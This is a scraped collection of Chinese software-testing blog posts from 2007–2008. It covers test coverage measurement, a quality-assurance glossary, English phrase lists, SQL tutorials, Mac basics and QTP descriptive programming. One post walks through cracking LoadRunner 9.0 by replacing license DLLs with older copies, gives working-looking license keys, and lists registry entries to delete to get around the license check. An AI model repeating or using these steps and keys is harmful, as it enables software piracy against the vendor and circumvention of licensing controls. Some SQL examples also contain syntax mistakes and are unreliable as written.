    有了这样的对应关系,黑盒测试对于需求的覆盖度就会很容易度量。例如,测试员只执行了用例TCF1-1-1,只覆盖了TR1-1需求,假设系统需求中只定义了2个功能点,则 

    测试需求的覆盖度 = 1 / 2 * 100% = 50% 

    实现

    一般情况下,要成功的实施以上的过程,单单靠手工实现起来很难。目前市场上已经有比较专业的工具来协助实现以上过程。我原来听过一些产品的介绍,要完全实现以上过程,需要几个工具结合起来使用,例如DOORS + TD配合使用,就可以把以上四个过程对应起来。

     

    不足

    白盒测试的覆盖率本身有一些不足,例如不能发现和数据相关的错误。

    int test(int a)

    {

           int d = 10 / a;

           return d;

    }

    一个测试用例(例如输入10)就可以让逻辑覆盖率达到100%,但很明显,该100%并不能说明测试已经很充分。

    同样,黑盒测试对于需求的覆盖度量只能作为一种参考。例如,以上的例子中,假如测试员执行了用例TCF1-1-1和TCF1-2-1 ,则覆盖了TR1-1和TR1-2的需求

    测试需求的覆盖度 = 2/2 *100% = 100%

    很显然,虽然需求已经全部覆盖,但测试还不充分,还远不能结束。

    所以我的结论是黑盒测试对于需求的覆盖度量只能作为一种参考,不能以此来衡量测试的优劣。以上文字仅代表个人观点。

  • 学习软件质量需要要记住的单词

    bwg198411 发布于 2008-04-29 11:23:00

    SQA:Software Quality Assurance  软件质量保证

    CMM:Capability Maturity Model   软件能力成熟度模型

    CMMI:Capability Maturity Model Integration  软件能力成熟度模型集成模型

    PSP:Person Software Process

    TSP:Team Software Process

    KPA:Key Process Area  关键过程域

    SEPG:Software Engineering Process Group  软件工程过程组

    Initial:     初始级

    Repeatable:  可重复级

    Defined:     已定义级

    Managed:     已管理级

    Optimizing:  优化级

    六西格玛的实施方式:

    DMAIC:

    Define 定义

    Measure 测量

    Analyse 分析

    Improve 改进

    Control 控制

  • 大话西游经典台词英文版

    hellen_ma 发布于 2008-05-12 16:30:19

    你想要啊?你想要就说吧,你不说我怎么知道你想要呢?
    You want? Speak up if you want! Why do you keep silent?

    2.你又在吓我
    You scare me again.

    3.莫非是一家黑店?
    Is this a slaughter house?

    4.长夜漫漫,无心睡眠
    It's a long night, no mood to sleep.

    5.如果不能跟我喜欢的人在一起,就算让我做玉皇大帝我也不会开心
    If I can't be with the one who I love, I won't be happy even if I were Heaven Emperor.

    6.要不要我把心掏出来给你看看啊?
    Should I show you my heart?

    7.可惜快乐永远都是短暂的,换来的只是无穷无尽的痛苦和长叹
    But happiness is always a flash of time. We only have endless pain.

    8.有一天当你发觉你爱上一个让你讨厌的人,这段感情才是最要命的
    When you discover that you’ve fallen in love with a man you hate, this affair is really hurting you.

    9.可我怎会爱上一个我讨厌的人呢?请你给我一个理由好不好?拜托!
    But how can I fall in love with a person I hate? Please give me a reason, please!

    10.爱一个人需要理由吗?不需要吗?需要吗?
    We don't need any reason to love a person. Don't we? Do we?

    11.你有多少兄弟姐妹?你父母尚在吗?你说句话啊!我只是想在临死之前多交一个朋友而已.
    How many brothers and sisters do you have? Are your parents alive? Speak up! I just want to make a new friend when I'm going to die.

    12.所以说做妖就像做人一样,要有仁慈的心,有了仁慈的心,就不再是妖,是人妖.
    Being a devil is the same as being a human. We should be kind. If we are kind, we are not a devil, we are a hybrid.

    13.爱一个人是痛苦的
    Love means pain.

    14.这样的话只是得到我的肉体,并不能得到我的灵魂
    You can just get my body instead of my spirit.

    15.曾经有一段真挚的爱情摆在我的面前,我却没有珍惜,直到失去才追悔莫及.人世间最大的痛苦莫过于此.如果上天再给我一次机会的话,我一定会对那女孩说三个字:我爱你.如果非要在这段爱情前加个期限的话,我希望是一万年.
        I have had my best love before, but I didn’t treasure her. When I lost her, I fell regretful. It is the most painful matter in this world. If God can give me another chance, I will say 3 words to her --- I love you. If you have to give a time limit to this love, I hope it is 10 thousand years.
        Once i let a ture love slip away before my eyes,only to find myself regretting when it was too late,nothing in the world can be as painful as this,if God wound give me another chance ,i would tell the girl three words,"i love you!",if our love have to be setted a time limit,i wish it would be ten thousands years!

  • 深入浅出的英语口语400句(一)

    hellen_ma 发布于 2008-05-14 18:24:45

    1. I see. 我明白了。

    2. I quit! 我不干了!

    3. Let go! 放手!

    4. Me too. 我也是。

    5. My god! 天哪!

    6. No way! 不行!

    7. Come on. 来吧(赶快)

    8. Hold on. 等一等。

    9. I agree。 我同意。

    10. Not bad. 还不错。

    11. Not yet. 还没。

    12. See you. 再见。

    13. Shut up! 闭嘴!

    14. So long. 再见。

    15. Why not? 好呀! (为什么不呢?)

    16. Allow me. 让我来。

    17. Be quiet! 安静点!

    18. Cheer up! 振作起来!

    19. Good job! 做得好!

    20. Have fun! 玩得开心!

    21. How much? 多少钱?

    22. I'm full. 我饱了。

    23. I'm home. 我回来了。

    24. I'm lost. 我迷路了。

    25. My treat. 我请客。

    26. So do I. 我也一样。

    27. This way。 这边请。

    28. After you. 您先。

    29. Bless you! 祝福你!

    30. Follow me. 跟我来。

    31. Forget it! 休想! (算了!)

    32. Good luck! 祝好运!

    33. I decline! 我拒绝!

    34. I promise. 我保证。

    35. Of course! 当然了!

    36. Slow down! 慢点!

    37. Take care! 保重!

    38. They hurt. (伤口)疼。

    39. Try again. 再试试。

    40. Watch out! 当心。

    41. What's up? 有什么事吗?

    42. Be careful! 注意!

    43. Bottoms up! 干杯(见底)!

    44. Don't move! 不许动!

    45. Guess what? 猜猜看?

    46. I doubt it 我怀疑。

    47. I think so. 我也这么想。

    48. I'm single. 我是单身贵族。

    49. Keep it up! 坚持下去!

    50. Let me see.让我想想。

    51. Never mind.不要紧。

    52. No problem! 没问题!

    53. That's all! 就这样!

    54. Time is up. 时间快到了。

    55. What's new? 有什么新鲜事吗?

    56. Count me on 算上我。

    57. Don't worry. 别担心。

    58. Feel better? 好点了吗?

    59. I love you! 我爱你!

    60. I'm his fan。 我是他的影迷。

    61. Is it yours? 这是你的吗?

    62. That's neat. 这很好。

    63. Are you sure? 你肯定吗?

    64. Do l have to 非做不可吗?

    65. He is my age. 他和我同岁。

    66. Here you are. 给你。

    67. No one knows . 没有人知道。

    68. Take it easy. 别紧张。

    69. What a pity! 太遗憾了!

    70. Any thing else? 还要别的吗?

    71. To be careful! 一定要小心!

    72. Do me a favor? 帮个忙,好吗?

    73. Help yourself. 别客气。

    74. I'm on a diet. 我在节食。

    75. Keep in Touch. 保持联络。

    76. Time is money. 时间就是金钱。

    77. Who's calling? 是哪一位?

    78. You did right. 你做得对。

    79. You set me up! 你出卖我!

    80. Can I help you? 我能帮你吗?

  • LR9.0破解成功(转)

    yaya_free 发布于 2008-04-15 17:18:37

    loadrunner9.0破解成功,现予以公布(更新)



    1、过程和方法:
    打开Loadrunner,发现以下几个dll可能和注册有关,mlr5lprg.dll、licensebundles.dll、lm50.dll、lm70.dll。
    最后确认mlr5lprg.dll、lm70.dll是关键dll。
    破解方法类似与LR8.1
    a、用LR8.0中的mlr5lprg.dll、lm70.dll覆盖LR9.0安装目录下“bin”文件夹中的对应文件;
    b、然后使用老的注册码就可以使用了;
    c、golba-100: AEAMAUIK-YAFEKEKJJKEEA-BCJGI
          web-10000: AEABEXFR-YTIEKEKJJMFKEKEKWBRAUNQJU-KBYGB

    2、可能会遇到的问题
    在破解的过程中我还遇到了个问题,就是通过上述的方法注册时提示“License security violation……”,无法注册。
    该问题可通过如下办法解决:
    a、手动修改注册表,删除下面内容:
    [HKEY_LOCAL_MACHINE\SOFTWARE\Mercury Interactive\LoadRunner\License2]

    [HKEY_LOCAL_MACHINE\SOFTWARE\Mercury Interactive\LoadRunner\License2\History]
    "AIBGEBFW-JVED-ZKEKEKEKEKEBDNQAF-KBRDN"=""

    [HKEY_LOCAL_MACHINE\SOFTWARE\Mercury Interactive\LoadRunner\License2\PermanentLicense]
    @="AIBGEBFW-JVED-ZKEKEKEKEKEBDNQAF-KBRDN"
    "last"="AIBGEBFW-JVED-ZKEKEKEKEKEBDNQAF-KBRDN"

    [HKEY_LOCAL_MACHINE\SOFTWARE\Mercury Interactive\LoadRunner\License2\TemporaryLicense]
    @="AEBGEBFS-AKEKEKEKE-KAUCA"

    [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{87B3ADD4-21EB-11d5-93EF-00105AA0FD2D}]
    @="IControl"

    b、可使用网上的朋友提供的LR_delete_License.exe文件删除上述的注册表内容。由于这个程序是针对8.1的,可能会报错,但是不影响使用。

    现将上述的文件上传,并发几张图,供大家使用和参看。
    有问题的朋友请跟帖,我将尽力解决。

    3、申明
    最后得感谢HP公司的大度,并没有对注册模块做大的修改,这可以让我们取巧使用。最后请大家不要以此用于商业运作,仅供个人学习参考,请大家支持正版软件。

    如果转帖,请注明出处。

    原址:http://bbs.51testing.com/thread-94444-1-1.html
     
    备注:有点郁闷啊,成功安装后却不能录制脚本,录制网站脚本,选择协议WEB(HTTP/HTML),录制对话框是跳出来了,但就是没有脚本产生,知道原因的高手请赐教,万分感谢!
     
    找到解决方法了,多谢陈绍英,解决方法链接地址如下:
  • 精妙SQL语句学习

    abens0426 发布于 2007-04-18 13:30:07

                              精妙SQL语句学习

    SQL分类:
    DDL—
    数据定义语言(CREATEALTERDROPDECLARE)
    DML—
    数据操纵语言(SELECTDELETEUPDATEINSERT)
    DCL—
    数据控制语言(GRANTREVOKECOMMITROLLBACK)

    首先,简要介绍基础语句:
    1
    、说明:创建数据库
    CREATE DATABASE database-name
    2
    、说明:删除数据库
    drop database dbname
    3
    、说明:备份sql server
    ---
    创建 备份数据的 device
    USE master
    EXEC sp_addumpdevice 'disk', 'testBack',  'c:\mssql7backup\MyNwind_1.dat'
    ---
    开始 备份
    BACKUP DATABASE pubs TO testBack  
    4
    、说明:创建新表
    create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)
    根据已有的表创建新表:
       A
    create table tab_new like tab_old (使用旧表创建新表)
       B
    create table tab_new as select col1,col2… from tab_old definition only
    5
    、说明:删除新表drop table tabname
    6
    、说明:增加一个列
    Alter table tabname add column col type
    注:列增加后将不能删除。DB2中列加上后数据类型也不能改变,唯一能改变的是增加varchar类型的长度。
    7
    、说明:添加主键: Alter table tabname add primary key(col)
    说明:删除主键: Alter table tabname drop primary key(col)
    8
    、说明:创建索引:create [unique] index idxname on tabname(col….) 
    删除索引:drop index idxname
    注:索引是不可更改的,想更改必须删除重新建。
    9
    、说明:创建视图:create view viewname as select statement
    删除视图:drop view viewname
    10
    、说明:几个简单的基本的sql语句
    选择:select * from table1 where 范围
    插入:insert into table1(field1,field2) values(value1,value2)
    删除:delete from table1 where 范围
    更新:update table1 set field1=value1 where 范围
    查找:select * from table1 where field1 like ’%value1%’ ---like的语法很精妙,查资料!
    排序:select * from table1 order by field1,field2 [desc]
    总数:select count(*) as totalcount from table1
    求和:select sum(field1) as sumvalue from table1
    平均:select avg(field1) as avgvalue from table1
    最大:select max(field1) as maxvalue from table1
    最小:select min(field1) as minvalue from table1
    11
    、说明:几个高级查询运算词
    A
    UNION 运算符
    UNION
    运算符通过组合其他两个结果表(例如 TABLE1 TABLE2)并消去表中任何重复行而派生出一个结果表。当 ALL UNION 一起使用时(即 UNION ALL),不消除重复行。两种情况下,派生表的每一行不是来自 TABLE1 就是来自 TABLE2
    B
    EXCEPT 运算符
    EXCEPT
    运算符通过包括所有在 TABLE1 中但不在 TABLE2 中的行并消除所有重复行而派生出一个结果表。当 ALL EXCEPT 一起使用时 (EXCEPT ALL),不消除重复行。 
    C
    INTERSECT 运算符
    INTERSECT
    运算符通过只包括 TABLE1 TABLE2 中都有的行并消除所有重复行而派生出一个结果表。当 ALL INTERSECT 一起使用时 (INTERSECT ALL),不消除重复行。
    注:使用运算词的几个查询结果行必须是一致的。
    12
    、说明:使用外连接
    A
    left outer join
    左外连接(左连接):结果集几包括连接表的匹配行,也包括左连接表的所有行。
    B
    right outer join:
    右外连接(右连接):结果集既包括连接表的匹配连接行,也包括右连接表的所有行。
    C
    full outer join
    全外连接:不仅包括符号连接表的匹配行,还包括两个连接表中的所有记录。


    其次,大家来看一些不错的sql语句
    1
    、说明:复制表(只复制结构,源表名:a 新表名:b) (Access可用)
    法一:select * into b from a where 1<>1
    法二:select top 0 * into b from a

    2、说明:拷贝表(拷贝数据,源表名:a 目标表名:b) (Access可用)
    insert into b(a, b, c) select d,e,f from b;

    3、说明:跨数据库之间表的拷贝(具体数据使用绝对路径) (Access可用)
    insert into b(a, b, c) select d,e,f from b in ‘
    具体数据库’  where 条件
    例子:..from b in '"&Server.MapPath(".")&"\data.mdb" &"' where..

    4、说明:子查询(表名1a 表名2b)
    select a,b,c from a where a IN (select d from b ) 
    或者:  select a,b,c from a where a IN (1,2,3)

    5、说明:显示文章、提交人和最后回复时间
    select a.title,a.username,b.adddate from table a,(select max(adddate) adddate from table where table.title=a.title) b

    6、说明:外连接查询(表名1a 表名2b)
    select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c

    7、说明:在线视图查询(表名1a )
    select * from (SELECT a,b,c FROM a) T where t.a > 1;

    8、说明:between的用法,between限制查询数据范围时包括了边界值,not between不包括
    select * from table1 where time between time1 and time2
    select a,b,c, from table1 where a not between
    数值1 and 数值2

    9、说明:in 的使用方法
    select * from table1 where a [not] in (‘
    1’,’2’,’4’,’6’)

    10、说明:两张关联表,删除主表中已经在副表中没有的信息
    delete from table1 where not exists ( select * from table2 where table1.field1=table2.field1 )

    11、说明:四表联查问题:
    select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where .....

    12、说明:日程安排提前五分钟提醒
    SQL: select * from
    日程安排 where datediff('minute',f开始时间,getdate())>5

    13、说明:一条sql 语句搞定数据库分页
    select top 10 b.* from (select top 20
    主键字段,排序字段 from 表名 order by 排序字段 desc) a,表名 b where b.主键字段 = a.主键字段 order by a.排序字段

    14、说明:前10条记录
    select top 10 * form table1 where
    范围

    15、说明:选择在每一组b值相同的数据中对应的a最大的记录的所有信息(类似这样的用法可以用于论坛每月排行榜,每月热销产品分析,按科目成绩排名,等等.)
    select a,b,c from tablename ta where a=(select max(a) from tablename tb where tb.b=ta.b)

    16、说明:包括所有在 TableA 中但不在 TableBTableC 中的行并消除所有重复行而派生出一个结果表
    (select a from tableA ) except (select a from tableB) except (select a from tableC)

    17、说明:随机取出10条数据
    select top 10 * from tablename order by newid()

    18、说明:随机选择记录
    select newid()

    19、说明:删除重复记录
    Delete from tablename where id not in (select max(id) from tablename group by col1,col2,...)

  • SQL语句大全

    xiaofishy 发布于 2007-04-01 11:50:48

     

    SQL语句大全

    --语 句 功 能
    --数据操作
    SELECT --从数据库表中检索数据行和列
    INSERT --向数据库表添加新数据行
    DELETE --从数据库表中删除数据行
    UPDATE --更新数据库表中的数据
    --数据定义
    CREATE TABLE --创建一个数据库表
    DROP TABLE --从数据库中删除表
    ALTER TABLE --修改数据库表结构
    CREATE VIEW --创建一个视图
    DROP VIEW --从数据库中删除视图
    CREATE INDEX --为数据库表创建一个索引
    DROP INDEX --从数据库中删除索引
    CREATE PROCEDURE --创建一个存储过程


    DROP PROCEDURE --从数据库中删除存储过程
    CREATE TRIGGER --创建一个触发器
    DROP TRIGGER --从数据库中删除触发器
    CREATE SCHEMA --向数据库添加一个新模式
    DROP SCHEMA --从数据库中删除一个模式
    CREATE DOMAIN --创建一个数据值域
    ALTER DOMAIN --改变域定义
    DROP DOMAIN --从数据库中删除一个域
    --数据控制
    GRANT --授予用户访问权限
    DENY --拒绝用户访问
    REVOKE --解除用户访问权限
    --事务控制
    COMMIT --结束当前事务
    ROLLBACK --中止当前事务
    SET TRANSACTION --定义当前事务数据访问特征
    --程序化SQL
    DECLARE --为查询设定游标
    EXPLAN --为查询描述数据访问计划
    OPEN --检索查询结果打开一个游标
    FETCH --检索一行查询结果
    CLOSE --关闭游标
    PREPARE --为动态执行准备SQL 语句
    EXECUTE --动态地执行SQL 语句
    DESCRIBE --描述准备好的查询
    ---局部变量
    declare @id char(10)
    --set @id = '10010001'
    select @id = '10010001'

    ---全局变量
    ---必须以@@开头



    --IF ELSE
    declare @x int @y int @z int
    select @x = 1 @y = 2 @z=3
    if @x > @y
    print 'x > y' --打印字符串'x > y'
    else if @y > @z
    print 'y > z'
    else print 'z > y'



    --CASE
    use pangu
    update employee
    set e_wage =
    case
    when job_level = ’1’ then e_wage*1.08
    when job_level = ’2’ then e_wage*1.07
    when job_level = ’3’ then e_wage*1.06
    else e_wage*1.05
    end



    --WHILE CONTINUE BREAK
    declare @x int @y int @c int
    select @x = 1 @y=1
    while @x < 3
    begin
    print @x --打印变量x 的值
    while @y < 3
    begin
    select @c = 100*@x + @y
    print @c --打印变量c 的值
    select @y = @y + 1
    end
    select @x = @x + 1
    select @y = 1
    end



    --WAITFOR
    --例 等待1 小时2 分零3 秒后才执行SELECT 语句
    waitfor delay ’01:02:03’
    select * from employee
    --例 等到晚上11 点零8 分后才执行SELECT 语句
    waitfor time ’23:08:00’
    select * from employee




    ***SELECT***



    select *(列名) from table_name(表名) where column_name operator value
    ex:(宿主)
    select * from stock_information where stockid = str(nid)
    stockname = 'str_name'
    stockname like '% find this %'
    stockname like '[a-zA-Z]%' --------- ([]指定值的范围)
    stockname like '[^F-M]%' --------- (^排除指定范围)
    --------- 只能在使用like关键字的where子句中使用通配符)
    or stockpath = 'stock_path'
    or stocknumber < 1000
    and stockindex = 24
    not stock*** = 'man'
    stocknumber between 20 and 100
    stocknumber in(10,20,30)
    order by stockid desc(asc) --------- 排序,desc-降序,asc-升序
    order by 1,2 --------- by列号
    stockname = (select stockname from stock_information where stockid = 4)
    --------- 子查询
    --------- 除非能确保内层select只返回一个行的值,
    --------- 否则应在外层where子句中用一个in限定符
    select distinct column_name form table_name --------- distinct指定检索独有的列值,不重复
    select stocknumber ,"stocknumber + 10" = stocknumber + 10 from table_name
    select stockname , "stocknumber" = count(*) from table_name group by stockname
    --------- group by 将表按行分组,指定列中有相同的值
    having count(*) = 2 --------- having选定指定的组



    select *
    from table1, table2
    where table1.id *= table2.id -------- 左外部连接,table1中有的而table2中没有得以null表示
    table1.id =* table2.id -------- 右外部连接



    select stockname from table1
    union [all] ----- union合并查询结果集,all-保留重复行
    select stockname from table2



    ***insert***



    insert into table_name (Stock_name,Stock_number) value ("xxx","xxxx")
    value (select Stockname , Stocknumber from Stock_table2)---value为select语句



    ***update***



    update table_name set Stockname = "xxx" [where Stockid = 3]
    Stockname = default
    Stockname = null
    Stocknumber = Stockname + 4



    ***delete***



    delete from table_name where Stockid = 3
    truncate table_name ----------- 删除表中所有行,仍保持表的完整性
    drop table table_name --------------- 完全删除表



    ***alter table*** --- 修改数据库表结构



    alter table database.owner.table_name add column_name char(2) null .....
    sp_help table_name ---- 显示表已有特征
    create table table_name (name char(20), age smallint, lname varchar(30))
    insert into table_name select ......... ----- 实现删除列的方法(创建新表)
    alter table table_name drop constraint Stockname_default ---- 删除Stockname的default约束



    ***function(/*常用函数*/)***



    ----统计函数----
    AVG --求平均值
    COUNT --统计数目
    MAX --求最大值
    MIN --求最小值
    SUM --求和



    --AVG
    use pangu
    select avg(e_wage) as dept_avgWage
    from employee
    group by dept_id
    --MAX
    --求工资最高的员工姓名
    use pangu
    select e_name
    from employee
    where e_wage =
    (select max(e_wage)
    from employee)



    --STDEV()
    --STDEV()函数返回表达式中所有数据的标准差



    --STDEVP()
    --STDEVP()函数返回总体标准差



    --VAR()
    --VAR()函数返回表达式中所有值的统计变异数



    --VARP()
    --VARP()函数返回总体变异数



    ----算术函数----



    /***三角函数***/
    SIN(float_expression) --返回以弧度表示的角的正弦
    COS(float_expression) --返回以弧度表示的角的余弦
    TAN(float_expression) --返回以弧度表示的角的正切
    COT(float_expression) --返回以弧度表示的角的余切
    /***反三角函数***/
    ASIN(float_expression) --返回正弦是FLOAT 值的以弧度表示的角
    ACOS(float_expression) --返回余弦是FLOAT 值的以弧度表示的角
    ATAN(float_expression) --返回正切是FLOAT 值的以弧度表示的角
    ATAN2(float_expression1,float_expression2)
    --返回正切是float_expression1 /float_expres-sion2的以弧度表示的角
    DEGREES(numeric_expression)
    --把弧度转换为角度返回与表达式相同的数据类型可为
    --INTEGER/MONEY/REAL/FLOAT 类型
    RADIANS(numeric_expression) --把角度转换为弧度返回与表达式相同的数据类型可为
    --INTEGER/MONEY/REAL/FLOAT 类型
    EXP(float_expression) --返回表达式的指数值
    LOG(float_expression) --返回表达式的自然对数值
    LOG10(float_expression)--返回表达式的以10 为底的对数值
    SQRT(float_expression) --返回表达式的平方根
    /***取近似值函数***/
    CEILING(numeric_expression) --返回>=表达式的最小整数返回的数据类型与表达式相同可为
    --INTEGER/MONEY/REAL/FLOAT 类型
    FLOOR(numeric_expression) --返回<=表达式的最小整数返回的数据类型与表达式相同可为
    --INTEGER/MONEY/REAL/FLOAT 类型
    ROUND(numeric_expression) --返回以integer_expression 为精度的四舍五入值返回的数据
    --类型与表达式相同可为INTEGER/MONEY/REAL/FLOAT 类型
    ABS(numeric_expression) --返回表达式的绝对值返回的数据类型与表达式相同可为
    --INTEGER/MONEY/REAL/FLOAT 类型
    SIGN(numeric_expression) --测试参数的正负号返回0 零值1 正数或-1 负数返回的数据类型
    --与表达式相同可为INTEGER/MONEY/REAL/FLOAT 类型
    PI() --返回值为π 即3.1415926535897936
    RAND([integer_expression]) --用任选的[integer_expression]做种子值得出0-1 间的随机浮点数




    ----字符串函数----
    ASCII() --函数返回字符表达式最左端字符的ASCII 码值
    CHAR() --函数用于将ASCII 码转换为字符
    --如果没有输入0 ~ 255 之间的ASCII 码值CHAR 函数会返回一个NULL 值
    LOWER() --函数把字符串全部转换为小写
    UPPER() --函数把字符串全部转换为大写
    STR() --函数把数值型数据转换为字符型数据
    LTRIM() --函数把字符串头部的空格去掉
    RTRIM() --函数把字符串尾部的空格去掉
    LEFT(),RIGHT(),SUBSTRING() --函数返回部分字符串
    CHARINDEX(),PATINDEX() --函数返回字符串中某个指定的子串出现的开始位置
    SOUNDEX() --函数返回一个四位字符码
    --SOUNDEX函数可用来查找声音相似的字符串但SOUNDEX函数对数字和汉字均只返回0 值
    DIFFERENCE() --函数返回由SOUNDEX 函数返回的两个字符表达式的值的差异
    --0 两个SOUNDEX 函数返回值的第一个字符不同
    --1 两个SOUNDEX 函数返回值的第一个字符相同
    --2 两个SOUNDEX 函数返回值的第一二个字符相同
    --3 两个SOUNDEX 函数返回值的第一二三个字符相同
    --4 两个SOUNDEX 函数返回值完全相同




    QUOTENAME() --函数返回被特定字符括起来的字符串
    /*select quotename('abc', '{') quotename('abc')
    运行结果如下
    ----------------------------------{
    {abc} [abc]*/



    REPLICATE() --函数返回一个重复character_expression 指定次数的字符串
    /*select replicate('abc', 3) replicate( 'abc', -2)
    运行结果如下
    ----------- -----------
    abcabcabc NULL*/



    REVERSE() --函数将指定的字符串的字符排列顺序颠倒
    REPLACE() --函数返回被替换了指定子串的字符串
    /*select replace('abc123g', '123', 'def')
    运行结果如下
    ----------- -----------
    abcdefg*/



    SPACE() --函数返回一个有指定长度的空白字符串
    STUFF() --函数用另一子串替换字符串指定位置长度的子串




    ----数据类型转换函数----
    CAST() 函数语法如下
    CAST() (<expression> AS <data_ type>[ length ])
    CONVERT() 函数语法如下
    CONVERT() (<data_ type>[ length ], <expression> [, style])



    select cast(100+99 as char) convert(varchar(12), getdate())
    运行结果如下
    ------------------------------ ------------
    199 Jan 15 2000



    ----日期函数----
    DAY() --函数返回date_expression 中的日期值
    MONTH() --函数返回date_expression 中的月份值
    YEAR() --函数返回date_expression 中的年份值
    DATEADD(<datepart> ,<number> ,<date>)
    --函数返回指定日期date 加上指定的额外日期间隔number 产生的新日期
    DATEDIFF(<datepart> ,<number> ,<date>)
    --函数返回两个指定日期在datepart 方面的不同之处
    DATENAME(<datepart> , <date>) --函数以字符串的形式返回日期的指定部分
    DATEPART(<datepart> , <date>) --函数以整数值的形式返回日期的指定部分
    GETDATE() --函数以DATETIME 的缺省格式返回系统当前的日期和时间



    ----系统函数----
    APP_NAME() --函数返回当前执行的应用程序的名称
    COALESCE() --函数返回众多表达式中第一个非NULL 表达式的值
    COL_LENGTH(<'table_name'>, <'column_name'>) --函数返回表中指定字段的长度值
    COL_NAME(<table_id>, <column_id>) --函数返回表中指定字段的名称即列名
    DATALENGTH() --函数返回数据表达式的数据的实际长度
    DB_ID(['database_name']) --函数返回数据库的编号
    DB_NAME(database_id) --函数返回数据库的名称
    HOST_ID() --函数返回服务器端计算机的名称
    HOST_NAME() --函数返回服务器端计算机的名称
    IDENTITY(<data_type>[, seed increment]) [AS column_name])
    --IDENTITY() 函数只在SELECT INTO 语句中使用用于插入一个identity column列到新表中
    /*select identity(int, 1, 1) as column_name
    into newtable
    from oldtable*/
    ISDATE() --函数判断所给定的表达式是否为合理日期
    ISNULL(<check_expression>, <replacement_value>) --函数将表达式中的NULL 值用指定值替换
    ISNUMERIC() --函数判断所给定的表达式是否为合理的数值
    NEWID() --函数返回一个UNIQUEIDENTIFIER 类型的数值
    NULLIF(<expression1>, <expression2>)
    --NULLIF 函数在expression1 与expression2 相等时返回NULL 值若不相等时则返回expression1 的值







    sql中的保留字



    action add aggregate all
    alter after and as
    asc avg avg_row_length auto_increment
    between bigint bit binary
    blob bool both by
    cascade case char character
    change check checksum column
    columns comment constraint create
    cross current_date current_time current_timestamp
    data database databases date
    datetime day day_hour day_minute
    day_second dayofmonth dayofweek dayofyear
    dec decimal default delayed
    delay_key_write delete desc describe
    distinct distinctrow double drop
    end else escape escaped
    enclosed enum explain exists
    fields file first float
    float4 float8 flush foreign
    from for full function
    global grant grants group
    having heap high_priority hour
    hour_minute hour_second hosts identified
    ignore in index infile
    inner insert insert_id int
    integer interval int1 int2
    int3 int4 int8 into
    if is isam join
    key keys kill last_insert_id
    leading left length like
    lines limit load local
    lock logs long longblob
    longtext low_priority max max_rows
    match mediumblob mediumtext mediumint
    middleint min_rows minute minute_second
    modify month monthname myisam
    natural numeric no not
    null on optimize option
    optionally or order outer
    outfile pack_keys partial password
    precision primary procedure process
    processlist privileges read real
    references reload regexp rename
    replace restrict returns revoke
    rlike row rows second
    select set show shutdown
    smallint soname sql_big_tables sql_big_selects
    sql_low_priority_updates sql_log_off sql_log_update sql_select_limit
    sql_small_result sql_big_result sql_warnings straight_join
    starting status string table
    tables temporary terminated text
    then time timestamp tinyblob
    tinytext tinyint trailing to
    type use using unique
    unlock unsigned update usage
    values varchar variables varying
    varbinary with write when
    where year year_month zerofill

  • MAC机的基本操作

    huoxingyinzi 发布于 2008-05-02 17:17:55

      1、MAC机与PC机的切换:启动时,长按住Alt键,会出现MAC与Window的切换图标,可以进行切换

      2、MAC关机:桌面的左上角有一个苹果图标,点击出现下来菜单,然后点击shut down

      3、MAC机访问局域网:打开sanfri,在地址栏中输入:smb://IP地址。例如:smb://192.168.1.201

      4、MAC中截图:command(就是键盘上有个想window窗口一样的键)+shift+4,出现十字型的图标,截取你想要的图片,然后敲空格键,则会听到咔嚓一声,哪么你的图片就保存在桌面上了

      5、sanfri中清除cookies:进入参数,安全,然后显示 cookies 并选择“删除全部”或选择某些 Cookies 并点击“删除”按钮

      另外:在 Firefox 中: 点击“工具”菜单。从菜单中选择“选项”。在出现的对话框的左边点击“隐私”按钮。找到主面板中的“Cookies”,点击旁边的“清除”按钮

      6、MAC机的IP地址设置:桌面的左上角的苹果图标,点击出现下拉菜单,然后点击preferences,然后点击control panel,然后选择Internet,出现TCP/IP,点击属性,就和Window一样可以设置IP。

      7、MAC中将PC机中的Ctrl键均由Command键替代,例如复制command+C,粘贴是command+V,依次类推。

      8、所以在PC机上的程序都需要安装MAC版,下载后的程序均存在桌面上的download的文件夹中,下载后,系统直接安装,你也可以取消安装。MAC版的QQ没有传送图片的功能。

      本人对MAC刚接触,与Linux系统也只有一面之缘,觉得两个系统界面很相似。由于测试项目的需要接触后,发现其实上手不难,不过学精还需要时日。

  • 使用描述性编程(从vickywang_no1的个人空间拷贝来的)

    davidwang_2004 发布于 2007-10-11 14:55:05

    使用编程性描述(Using Programmatic Descrīptions

    在录制脚本时,QTP会将被测对象添加到对象仓库中。只要对象存在于仓库中,我们就可以在专家视图中使用该对象进行手动添加脚本。在脚本中,我们一般都使用对象的名称(该对象名称不区分大小写)作为对象描述。

    例如:

    在下面的语句中“username”是一个编辑框的名称。这个编辑框位于某页面(Page)之上(该页面的名称为“Mercury Tours”),并且该页面属于名为“Mercury Tours”的浏览器(browser)。

    Browser("Mercury Tours").Page("Mercury Tours").WebEdit("username")

    因为对象仓库中的对象的名称是唯一的,因此你只要在脚本中指定对象的名称即可。QTP根据指定的对象名称以及它的父对象在对象仓库中找到该对象,然后根据仓库中对象的详细描述从被测试程序中查找并识别对象。

    其实,在QTP脚本中,不使用对象仓库或对象名称,也可以对被测程序中的对象进行操作。为了做到这一点,我们需要在QTP脚本中提供对象的属性及其值的列表。这就是编程性描述。

    当对象不存在于对象仓库之中,而我们又希望操作该对象时,编程性描述就非常有用。如果有多个对象,它们具有某些相同的属性,通过编程性描述,我们可以在这些对象上进行相同的操作;或者某个对象的属性无法确定,需要在运行过程中指定,我们也可以使用编程性描述,来对该对象进行操作。

    例如:在一个页面有多个check box,你不能预知其个数,也不知道所有check box的准确描述,然而你希望选中所有的check box。在这种情况下,你可以使用编程性描述来解决。你只需要让QTP对所有描述为 HTML TAG=input,TYPE=check box的对象执行一个 Set “ON”的操作即可。

    编程性描述的方法有两种:

    方法一:在语句中直接列出对象的属性及值的列表;

    方法二:使用Descrīption对象,为Descrīption对象添加属性及值的集合,然后在语句中直接使用Descrīption对象的名称即可。

    使用第一种方法要简单一些,但是在很多情况下,第二种方法更显得功能强大并更有效率。

    在语句中直接使用编程描述(Entering Programmatic Descrīptions Directly into Statements

    在语句中不使用对象的名称,而是使用对象的描述(指定多对property:=value值)。

    通常语法如下:

